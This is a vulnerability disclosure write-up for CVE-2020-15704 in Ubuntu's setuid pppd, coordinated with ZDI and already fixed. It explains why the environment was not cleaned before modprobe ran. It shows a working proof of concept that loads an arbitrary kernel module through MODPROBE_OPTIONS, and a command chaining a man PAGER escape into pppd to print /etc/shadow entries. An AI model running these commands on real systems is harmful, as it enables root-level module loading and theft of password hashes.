Ubuntu ppp's CVE-2020-15704 wrap-up

Rédigé par Thomas Chauchefoin - 03/09/2020 - dans Exploit - Téléchargement
As you may already know, we collaborated with Zero Day Initiative to disclose a vulnerability in Ubuntu's ppp package. This vulnerability has been assigned the identifiers ZDI-CAN-11504 / CVE-2020-15704.

Introduction

While investigating an issue in an unrelated software with the help of strace, we saw that the setuid binary /sbin/pppd sometimes invoked modprobe. An interesting fact about modprobe is that it accepts arbitrary options via the environment variable MODPROBE_OPTIONS:

ENVIRONMENT

       The MODPROBE_OPTIONS environment variable can also be used to pass arguments to modprobe.

This behaviour was already successfully exploited in the past by Tavis Ormandy (!) in SystemTap (CVE-2010-4170) and Jann Horn (!!) in ntfs-3g (CVE-2017-0358), two cases where the environment was not correctly cleaned before creating a child process in a setuid context.

Following the world-acclaimed French technique called "le piffage", we decided to give it a try and identified that the responsible code for invoking modprobe lies in a patch specific to Ubuntu (see https://launchpadlibrarian.net/464535043/ppp_2.4.7-2+4.1ubuntu5.debian.tar.xz):

From 053fa32a9ccd0ac1fbbda50db7aff7fdae18652a Mon Sep 17 00:00:00 2001
From: Alexander Sack <asac@jwsdot.com>
Date: Thu, 18 Dec 2008 05:33:13 +0100
Subject: [PATCH] port: ppp-2.4.4rel/debian/patches/load_ppp_generic_if_needed

---
 pppd/sys-linux.c |   41 +++++++++++++++++++++++++++++++++++++++++
 1 files changed, 41 insertions(+), 0 deletions(-)

Index: ppp-2.4.7-2+4ubuntu1/pppd/sys-linux.c
===================================================================
--- ppp-2.4.7-2+4ubuntu1.orig/pppd/sys-linux.c
+++ ppp-2.4.7-2+4ubuntu1/pppd/sys-linux.c
@@ -92,6 +92,7 @@
 #include <ctype.h>
 #include <termios.h>
 #include <unistd.h>
+#include <wait.h>
 
 /* This is in netdevice.h. However, this compile will fail miserably if
    you attempt to include netdevice.h because it has so many references
@@ -2126,6 +2127,46 @@
 
     if (kernel_version >= KVERSION(2,3,13)) {
     error("Couldn't open the /dev/ppp device: %m"); // (1)
+    char modprobePath[PATH_MAX] = "";
+    int status, p, count;
+    pid_t pid;
+
+    fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
+    if (fd >= 0) {
+        int count = read(fd, modprobePath, PATH_MAX - 1);
+        if (count < 1)
+            modprobePath[0] = 0;
+        else if (modprobePath[count - 1] == '\n')
+            modprobePath[count - 1] = 0;
+        close(fd);
+    }
+
+    if (modprobePath[0] == 0)
+        strcpy(modprobePath, "/sbin/modprobe"); // (2)
+
+    switch (pid = fork()) {
+        case 0: /* child */
+            setenv("PATH", "/sbin", 1);
+            status = execl(modprobePath, "modprobe", "ppp_generic", NULL); // (3)
+        case -1: /* couldn't fork */
+            errno = ENOENT;
+        default: /* parent */
+            do
+                p = waitpid(pid, &status, 0);
+            while (p == -1 && count++ < 4);
+
+            sleep (5);
+
+    }
+
+    if ((fd = open("/dev/ppp", O_RDWR)) >= 0) {
+        new_style_driver = 1;
+        driver_version = 2;
+        driver_modification = 4;
+        driver_patch = 0;
+        close(fd);
+        return 1;
+    }
     if (errno == ENOENT)
         no_ppp_msg =
         "You need to create the /dev/ppp device node by\n"

This patch appears to have been introduced in the version 2.4.2+20040428-2ubuntu6, in January 2008.

If pppd can't open /dev/ppp (1) (this part of the code is omitted in the diff), it will use execl to invoke modprobe (2) and load the module ppp_generic (3).

The attentive reader will already have noticed that modprobe is called using execl and that only the PATH environment variable was overridden. As stated in man exec:

All other exec() functions (which do not include 'e' in the suffix) take the environment for the new process image from the external variable environ in the calling process.

Awesome, it is vulnerable and we will be able to load arbitrary kernel modules if we find a way to make the open("/dev/ppp", ...) fail. But how?

Requirements

This article focuses on the latest LTS as of July 2020, Ubuntu Focal Fossa (20.04), with the package ppp in version 2.4.7-2+4.1ubuntu5. As seen in USN-4451-1 / USN-4451-2, all Ubuntu packages from 12.04 to 20.04 were affected.

Ubuntu Desktop 20.04 installs the package ppp by default as it is required by network-manager, but that not the case on Ubuntu Server instances where it has to be manually installed by an administrator.

Another requirement is to be in the group dip, per pppd's permissions (Ubuntu's default user is in this group):

$ ls -alh /sbin/pppd
-rwsr-xr-- 1 root dip 378K Feb 20 22:47 /sbin/pppd

The module ppp_generic is unfortunately built-in on most _Ubuntu_ kernels, so /dev/ppp will be present. However, we still managed to get something useful from this bug (see section Reading arbitrary files).

For some reason, this module is not built-in on KVM kernels (linux-image-kvm), see https://git.launchpad.net/~canonical-kernel/ubuntu/+source/linux-kvm/tree/debian.kvm/config/config.common.ubuntu#n1747:

...
CONFIG_POSIX_MQUEUE=y
CONFIG_POSIX_MQUEUE_SYSCTL=y
# CONFIG_POWERCAP is not set
# CONFIG_POWER_AVS is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_PPP is not set
# CONFIG_PPS is not set
# CONFIG_PREEMPT is not set
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_NOTIFIERS=y
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_PRINTK=y
CONFIG_PRINTK_TIME=y
...

 

# grep -i ppp /boot/config-5.4.0-1018-kvm
# CONFIG_PPP is not set

As the device /dev/ppp won't be present, this will allow us to load arbitrary kernel modules (see section Loading kernel modules below).

Loading kernel modules

Through MODPROBE_OPTIONS, we can ask modprobe (which is in fact a symlink to  kmod) to load an arbitrary kernel module. We modified Jann Horn's proof of concept to easily confirm the bug's exploitability:

  • compile.sh:
#!/bin/sh
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules
mkdir -p depmod_tmp/lib/modules/$(uname -r)
cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/
/sbin/depmod -b depmod_tmp/
mkdir -p ./lib/modules
cp depmod_tmp/lib/modules/$(uname -r)/* ./lib/modules
rm -rf depmod_tmp
  • rootmod.c:
  • Makefile:
obj-m := rootmod.o

Then, install the right kernel headers and compile rootmod:

# apt install linux-headers-$(uname -r) build-essential make
$ ./compile.sh
make: Entering directory '/usr/src/linux-headers-5.4.0-1018-kvm'
  CC [M]  /home/ubuntu/poc/rootmod.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/ubuntu/poc/rootmod.mod.o
  LD [M]  /home/ubuntu/poc/rootmod.ko
make: Leaving directory '/usr/src/linux-headers-5.4.0-1018-kvm'

On the target host, copy the files (eg. copy lib/modules/ in /home/ubuntu/lib/modules), and then run the following PoC to load the kernel module from an unprivileged account:

$ MODPROBE_OPTIONS="-C ./ -d ./ rootmod -S ''" /sbin/pppd
$ dmesg
(...)
[86665.189254] rootmod: unknown parameter 'ppp_generic' ignored
[86665.189451] rootmod loaded!
(...)

Reading arbitrary files

The previous exploitation method is nice, but the requirement of having a specific kernel image is a hassle even if widely used on big virtual machine hosting services.

CVE-2017-0358 is very similar to our bug, as the exploit had to find a way to prevent access to /proc/filesystems to make sure modprobe would be called. The amount of allowed file descriptors is now way higher, /proc/sys/fs/file-max returning 9223372036854775807, and make this trick unusable.

While looking for a way to generalize it to kernels built with CONFIG_PPP=y, we still managed to find a way to read arbitrary files on the system by relying on the default AppArmor profiles found on Ubuntu Desktop and Ubuntu Server, for instance usr.bin.man.

The easiest way to gain code execution in the sandbox context of man is to use the environment variable PAGER:

$ PAGER='/bin/sh -c "ps auwxZ |grep auxw"'  man open
/usr/bin/man (enforce) (...) 11:30   0:00 sh -c ps auwxZ |grep auxw

Access to /dev/ppp is disallowed from this profile, but unfortunately loading kernel modules too:

$ PAGER='/bin/sh -c "/sbin/pppd notty"' man x
Couldn't open the /dev/ppp device: Operation not permitted
$ PAGER='/bin/sh -c "MODPROBE_OPTIONS=snd_dummy /sbin/pppd notty"' man x
Couldn't open the /dev/ppp device: Operation not permitted
modprobe: ERROR: could not insert 'snd_dummy': Operation not permitted

We still have access to the flag -C, allowing to specify a configuration file. The format of such files is described in man modprobe.d:

Because the modprobe command can add or remove more than one module, due to module dependencies, we need a method of specifying what options are to be used with those modules.

The format of files under modprobe.d and /etc/modprobe.conf is simple: one command per line, with blank lines and lines starting with '#' ignored (useful for adding comments).

This functionality can be used to obtain the content of files owned by other users (as /sbin/pppd is setuid root), invalid directives being logged to stderr (stopping after the first space):

$ PAGER='/bin/sh -c "MODPROBE_OPTIONS=\"-C /etc/shadow\" /sbin/pppd notty"'  man x
Couldn't open the /dev/ppp device: Operation not permitted
libkmod: ERROR ../libkmod/libkmod-config.c:656 kmod_config_parse: /etc/shadow line 1: ignoring bad line starting with 'root:!:18380:0:99999:7:::'
libkmod: ERROR ../libkmod/libkmod-config.c:656 kmod_config_parse: /etc/shadow line 2: ignoring bad line starting with 'daemon:*:18375:0:99999:7:::'
libkmod: ERROR ../libkmod/libkmod-config.c:656 kmod_config_parse: /etc/shadow line 3: ignoring bad line starting with 'bin:*:18375:0:99999:7:::'
libkmod: ERROR ../libkmod/libkmod-config.c:656 kmod_config_parse: /etc/shadow line 4: ignoring bad line starting with 'sys:*:18375:0:99999:7:::'
(...)

Going further

We did not achieve to find a generic way to prevent access to /dev/ppp while still being able to load arbitrary modules, but we would be very happy to be proved wrong :-D

The same way, we did not find a way to pivot from arbitrary file read to root by default—DBUS_COOKIE_SHA1, we miss you! Exploiting kmod's parser(s) before the insertion of the module could be a way to gain code execution as root in the sandbox, escaping it would then become easy.

We thought we could manage to execute commands as root by providing a line containing install in a modprobe configuration file:

install modulename command...
    This command instructs modprobe to run your command instead of inserting the module in the kernel as normal.

Funny thing is that this same Tavis Ormandy (again) prevented it from happening since 2013, by sending a patch in dash (default shell on Ubuntu) to downgrade privileges when UID != EUID (https://www.openwall.com/lists/oss-security/2013/08/22/12), making this attack impracticable.

Fix

This bug was fixed and deployed in less than 15 days: the patch load_ppp_generic_if_needed has been removed, the module ppp_generic being a kernel built-in on most images for some time now.